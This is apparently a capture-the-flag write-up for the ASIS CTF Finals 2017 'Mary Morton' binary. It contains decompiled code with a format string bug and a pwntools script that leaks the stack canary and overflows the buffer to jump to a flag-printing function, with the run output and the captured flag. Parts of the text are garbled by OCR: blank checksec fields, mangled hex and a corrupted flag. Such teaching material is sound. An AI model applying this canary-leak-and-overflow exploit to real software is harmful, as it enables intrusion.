Mary Morton (ASIS-CTF-Finals-2017) --writeup
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checksec:

root@at-ubuntu:/home/atfwus/pwn# checksec Mary Morton
[*] '/home/atfwus/pwn/Mary Morton'

Arch: amd64-64-1little

RELRO:

Stack:

NX:

PIE:
root@at-ubuntu:/home/atfwus/pwn# Jj
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int sub_4ee8DA()

{
¥

return system("/bin/cat ./flag");
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Welcome to the battle !
[Great Fairy] level pwned
Select your weapon

1. Stack Bufferoverflow Bug
2. Format String Bug

3. Exit the battle

5 %p
AAAAOXTTFTffffe2f0. Tffff7af4081. (nil). (nil).0x252e702541414141.0x2e70252e70252e70.0x70252e70252e7025.0%252e70252e70252¢.0xa70
1. Stack Bufferoverf
2. Format String Bug csdn.ne/ ATFWUS
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6 = __readfsqword(@x28u);

7| memset(&buf, @, Ox80uLL);

8| read(@, &buf, ©x7FuLL);

9| printf(&buf, &buf);

8| return __readfsqword(@x28u) ~ vZ;

11}
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0x02.exp

##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",58280)
#r=process('./Mary_Morton')
context.log level = "debug"

flag_addr=0x00000000004008DA

r.sendlineafter("battle ","2")
payload="%23$p"

r.sendline(payload)
r.recvuntil("ex")
canary = int(r.recv(16),16)

r.sendlineafter("battle ","1")
payload=0x88*'A'+p64(canary)+8*'A'+p64(flag_addr)
r.sendline(payload)

r.interactive()



000060al
] Switching to interactive mode

DEBUG] Received 0x8c bytes:
'-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN N

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
DEBUG] Received 0x2d bytes:
'cyberpeace{a6a75163332ae8456208fd1lde82efce3}\n’
yberpeace{aba75163332ae8456208fd1lde82efce3}
] Got EOF while reading in interactive
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